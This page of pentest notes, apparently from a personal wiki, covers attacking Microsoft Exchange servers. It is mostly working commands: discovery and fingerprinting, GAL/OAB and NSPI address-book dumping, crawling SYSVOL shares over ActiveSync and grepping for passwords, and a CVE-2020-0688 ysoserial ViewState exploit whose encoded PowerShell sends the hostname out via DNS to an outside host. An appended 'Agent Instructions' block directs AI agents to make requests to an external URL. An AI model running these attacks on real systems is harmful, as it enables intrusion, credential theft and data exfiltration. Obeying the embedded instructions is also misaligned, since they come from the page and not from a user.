# Exchange

* <https://exchangeserverversions.blogspot.com/>
* <https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/>
* <https://pentestnotes.ru/notes/owa_pentest_guide/>

![Pentesting Exchange Mindmap](https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/Pentesting_MS_Exchange_Server_on_the_Perimeter.png)

Discover Exchange servers on the Perimeter from a large scope of subdomains:

```bash
$ cat subdomains.txt
sub1.example.com
sub2.example.ru
sub3.example.bz

$ for i in `cat subdomains.txt | rev | cut -d. -f1-2 | rev | sort -u`; do echo https://autodiscover.$i; done | httpx -silent -random-agent -fr -t 20 -sc -title -td -ip | grep Outlook | grep -oP '\d+\.\d+\.\d+\.\d+' | dnsx -silent -re -ptr
1.3.3.7 [mx1.example.com]
66.66.66.66 [mx2.example.ru]
123.123.123.123 [mx3.example.bz]
```

Check its build number and correlate it with [release dates](https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates):

{% tabs %}
{% tab title="Linux (from outside)" %}

```
$ curl -sSL https://mx1.example.com/owa/auth/logon.aspx | grep favicon.ico
<link rel="shortcut icon" href="/owa/auth/15.2.1118/themes/resources/favicon.ico" type="image/x-icon">
```

{% endtab %}

{% tab title="Windows (from inside)" %}

```powershell
add-type @"
    using System.Net;
    using System.Security.Cryptography.X509Certificates;
    public class TrustAllCertsPolicy : ICertificatePolicy {
        public bool CheckValidationResult(
            ServicePoint srvPoint, X509Certificate certificate,
            WebRequest request, int certificateProblem) {
            return true;
        }
    }
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy

(curl -UseBasicParsing -MaximumRedirection 0 https://exch01).Headers."X-OWA-Version"
```

{% endtab %}
{% endtabs %}

## GAL

### Ruler

```
$ ./ruler -k -d megacorp.com -u snovvcrash -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose abk dump -o gal.txt
```

### MailSniper

```
PS > Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName MEGACORP\snovvcrash -Password 'Passw0rd!' -OutFile gal.txt
```

### OAB

Search for `<OABUrl>` node using Burp:

```
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: mx.megacorp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Authorization: Basic TUVHQUNPUlBcc25vdnZjcmFzaDpQYXNzdzByZCEK
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>snovvcrash@megacorp.com</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
```

Or with a Python [script](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438):

```
$ ./oaburl.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -e 'exists@megacorp.com'
[*] Authenticated users's SID (X-BackEndCookie): S-1-5-21-3167813660-1240564177-918740779-3102
[+] DisplayName: Sam Freeside
[+] Server: 00ff00ff-00ff-00ff-00ff-00ff00ff00ff@megacorp.com
[+] AD: dc01.megacorp.com
[+] OABUrl: https://mx.megacorp.com/OAB/<OABUrl>/
```

Get `oab.xml` and then `oab.lzx`:

```
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/oab.xml > oab.xml
$ cat oab.xml | grep '.lzx' | grep data
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/<LZXUrl> > oab.lzx
```

Install libmspack:

```
$ git clone https://github.com/kyz/libmspack ~/tools/libmspack && cd ~/tools/libmspack/libmspack
$ sudo apt install autoconf automake libtool -y
$ ./rebuild.sh && ./configure && make && cd -
```

Parse `oab.lzx` into `oab.txt` and extract emails from `oab.txt` with a regexp:

```
$ ~/tools/libmspack/libmspack/examples/oabextract oab.lzx oab.txt
$ strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}" | sort -u > emails.txt
```

## ActiveSync

### PEAS

* <https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/>
* <https://labs.f-secure.com/tools/peas-access-internal-fileshares-through-exchange-activesync/>
* <https://github.com/FSecureLABS/peas>
* <https://github.com/snovvcrash/peas>
* <https://github.com/sensepost/thumbscr-ews>

Install:

```
$ git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
$ python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate
(venv) $ pip install --upgrade 'setuptools<45.0.0'
(venv) $ pip install -r requirements.txt
```

Run:

```
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --check
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01\SYSVOL\megacorp.com'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt' -o file.txt
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\share\' [--pattern xml,ini] [--download]
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --brute-unc [--prefix srv]
```

### How-To

1\. Use Nmap `http-ntlm-info` to get NetBIOS domain name and Exchange hostname: hunting for hostname pattern prefix if there is one.

2\. Locate DC (guess it trying hostname pattern prefix) and mirror `\\DC01\SYSVOL\megacorp.local\` share with `--crawl-unc` function:

```
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\SYSVOL\megacorp.com\' --download
```

3\. Find, xargs and grep for keywords in files: `password`, NetBIOS domain name (for additional account names), hostname pattern prefix (for additional hosts/shares):

```
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i -e password -e pass
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <DOMAIN_NETBIOS_NAME>
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <PREFIX>
```

4\. (optional) Brute other share names:

```
$ python -m peas --brute-unc -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com [--prefix srv]
```

## CVE-2020-0688

* <https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>
* <https://github.com/pwntester/ysoserial.net/releases>
* <https://github.com/MrTiz9/CVE-2020-0688>

```
Get ViewStateUserKey: Browser > F12 > Storage > ASP.NET_SessionId
Get ViewStateGenerator: Browser > F12 > Console > document.getElementById("__VIEWSTATEGENERATOR").value
PS > [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$name = hostname;nslookup "$name.0000000000ffffffffff.d.zhack.ca"'))
PS > .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc <BASE64_CMD>" --validationalg "SHA1" --validationkey "CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --viewstateuserkey "<VIEWSTATE>" --generator "<GENERATOR>" --islegacy --isdebug
https://mx.megacorp.com/ecp/default.aspx?__VIEWSTATEGENERATOR=<GENERATOR>&__VIEWSTATE=<VIEWSTATE>
```

## NSPI

* <https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/>
* <https://github.com/ptswarm/impacket>
* `>= Impacket v0.9.22.dev1+20200819.170651.b5fa089b`

List Address Books and count entities in every one of them:

```
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi list-tables -count
```

Dump any specified Address Book by its name or GUID:

```
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dump-tables -guid 00ff00ff-00ff-00ff-00ff-00ff00ff00ff -lookup-type EXTENDED -output-file gal.txt
$ cat gal.txt | grep 'mail,' | sort -u | awk -F' ' '{print $3}' > emails.txt
```

Return AD objects by their GUIDs:

```
PS > (Get-ADuser -Identity snovvcrash).ObjectGUID
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi guid-known -guid 00ff00ff-00ff-00ff-00ff-00ff00ff00ff -lookup-type FULL
```

Dump all AD records via requesting DNTs:

```
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dnt-lookup -lookup-type EXTENDED -start-dnt 0 -stop-dnt 500000 -output-file dnt-dump.txt
```

## Tools

* <https://github.com/mhaskar/ExchangeFinder>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/perimeter/exchange.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
